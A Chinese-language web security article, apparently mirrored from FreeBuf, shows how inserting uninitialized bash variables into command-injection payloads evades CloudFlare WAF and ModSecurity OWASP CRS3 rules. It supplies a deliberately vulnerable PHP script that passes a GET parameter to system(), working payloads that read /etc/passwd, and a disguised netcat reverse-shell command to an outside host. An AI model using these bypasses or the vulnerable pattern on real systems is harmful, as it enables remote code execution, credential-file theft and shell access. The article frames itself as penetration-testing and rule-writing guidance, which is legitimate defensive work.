44

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

 5 years ago
source link: http://www.freebuf.com/articles/web/184414.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Web应用防火墙通常会被部署在Web客户端与Web服务器之间,以过滤来自服务器的恶意流量。而作为一名渗透测试人员,想要更好的突破目标系统,就必须要了解目标系统的WAF规则,以及想办法绕过该规则。本文将以CloudFlare WAF和ModSecurity OWASP CRS3为例,为大家进行演示如何使用未初始化的Bash变量,来绕过基于WAF正则表达式的过滤器和模式匹配。

未初始化变量

在之前两篇关于过WAF的文章中,我为大家介绍了如何在Linux系统上通过滥用bash globbing进程,来绕过WAF规则集并执行远程命令的技巧。在本文中我将向大家展示另一种,使用未初始化bash变量绕过基于正则表达式的过滤器和模式匹配的技巧。

echo "uninitialized_variable=$uninitialized_variable"

未初始化变量的值为null(根本没有值)。

uninitialized_variable=

可以看出,声明但未初始化和直接设为空值是相同的。

默认情况下,Bash会像Perl那样处理未初始化的变量:即视为空字符串!让我们从一个例子开始。

zUnIFzn.jpg!web

假设我们要执行cat /etc/passwd命令,我们可以使用以下语法:

cat$u /etc$u/passwd$u

可以看到,其中 $u 会被bash视为空字符串,且对结果输出也没有任何的影响。我们可以简单的验证下,通过echo命令打印 $u。 如下:

u2YJNnR.jpg!web

我们可以利用这个特性来绕过WAF规则,让我们使用CloudFlare WAF和ModSecurity OWASP核心规则集3.1进行一些测试。

CloudFlare WAF (pro plan)

和之前一样,我将在一个非常简单的PHP脚本上测试这种绕过技术。需要说明的是,我的测试并不针对CloudFlare WAF,测试的主要目的是为了提醒开发人员注重代码的安全性,以及知道可以采取哪些措施来修复或编写自定义的规则。

我启用了CloudFlare WAF所有的规则,并将安全级别调到了最高(似乎所有规则都基于OWASP CRS2……)。

简单的PHP测试脚本

<?php
        if(isset($_GET['host'])) {
                system('dig '.$_GET['host']);
        }
?>

该脚本使用dig来解析主机GET参数上的给定主机名,例如:

/?host=www.google.com

响应结果:

yUNnuuF.jpg!web

显然,我们只需在主机名后加一个分号,就可以实现RCE攻击,例如:

/?host=www.google.com;ls+/

uEFNNvV.jpg!web

那么,我是否可以读取cat /etc/passwd文件呢? 让我们来尝试下:

/?host=www.google.com;cat+/etc/passwd

Zz2eYvj.jpg!web

如上所示,WAF规则集阻止了我的请求。现在,让我们尝试使用未初始化变量绕过该规则集。

/?host=www.google.com;cat$u+/etc$u/passwd$u

RVBF7rE.jpg!web

请求放行!我成功读取到了/etc/passwd文件中的内容。┌(◉͜ʖ◉)つ┣▇▇▇═──

CloudFlare有一些特定的规则来防止使用netcat获得反向shell,我决定尝试绕过它们。这里我将所有 CloudFlare Specials 上的规则设置为了“ block ”。

JVRF3yJ.jpg!web

QNb2aa3.jpg!webVbQ7VzY.jpg!web

首先,我尝建立一个nc反向shell。

qmiamiJ.jpg!web

不出所料,CloudFlare阻止了我的请求。现在,我们在nc和/bin/bash后添加一些未初始化的bash变量,如下:

nc$u -e /bin$u/bash$u 1.2.3.4 1337

fauemmr.jpg!web

成功绕过并获取到了一个反向shell!

ModSecurity OWASP CRS3.1

使用CRS3.1后绕过难度大大增加,尤其是将Paranoia Level调到3后(CRS3上共有Paranoia Level 1~ 4 四个级别,第四个级别几乎无法绕过),这也是我喜欢CRS3的众多原因之一。

与CloudFlare上发生的情况不同,将CRS3.1级别调到Paranoia Level 3后,我的第一个测试被932100规则阻止,原因是“Unix命令注入”:

qyMZzuF.jpg!web

那么,我们该如何绕过这条规则呢?我尝试使用未初始化变量以 ;<space><uninitialized var><command> 的格式发送请求,看看是否可以成功绕过。如下:

?host=www.google.it;+$u+cat+/etc/passwd

FzIRFjQ.jpg!web

可以看到,932100规则成功被绕过!但由于主机参数中包含etc/passwd字符串,我的请求再次被阻止。我能做的是在etc/passwd路径中,添加更多的未初始化变量,如下:

?host=www.google.it;+$u+cat+/etc$u/passwd$u

BVr2ear.jpg!web

与CloudFlare WAF不同,如果我们将CRS3.1的Paranoia Level调为3,那么我们几乎不可能绕过以双引号包含$_GET['host']的PHP脚本。不信我们可以试一试:

<?php
        if(isset($_GET['host'])) {
                system('dig "'.$_GET['host'].'"');
        }
?>

有了双引号后,除了分号之外我们还需要闭合或注释掉前后的双引号。例如:

/?host=www.google.it";cat+/etc/passwd+#

你可能会问,RCE payload中添加了这么多额外的字符,难道不会被CloudFlare阻止吗?我们来看结果~成功绕过!

NfiqMr3.jpg!web

之所以无法绕过CRS3 Paranoia Level 3,主要是由于以下两条规则:

  • 942460 元字符异常检测警报 – 非单字字符重复: 由于  ”; ,  和  字符,导致请求被阻止。
  • 942260 检测基本SQL身份验证绕过尝试 2/3: 尝试使用特殊字符,导致请求被阻止。

而如果将Paranoia Level降至2,就可以被绕过。

/?host=www.google.it";+$u+cat+/etc$u/passwd+\#

总结

为什么阻止此类请求会如此困难?为什么WAF不阻止参数值中的$字符?原因很简单,因为那样会导致出现许多误报的情况。恕我直言,相比之下我更认同CRS3的做法,只在单个值中找到4个或更多重复的非单字字符时才进行阻止。这比阻止特定的字符更加聪明有效,且误报率也更低。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK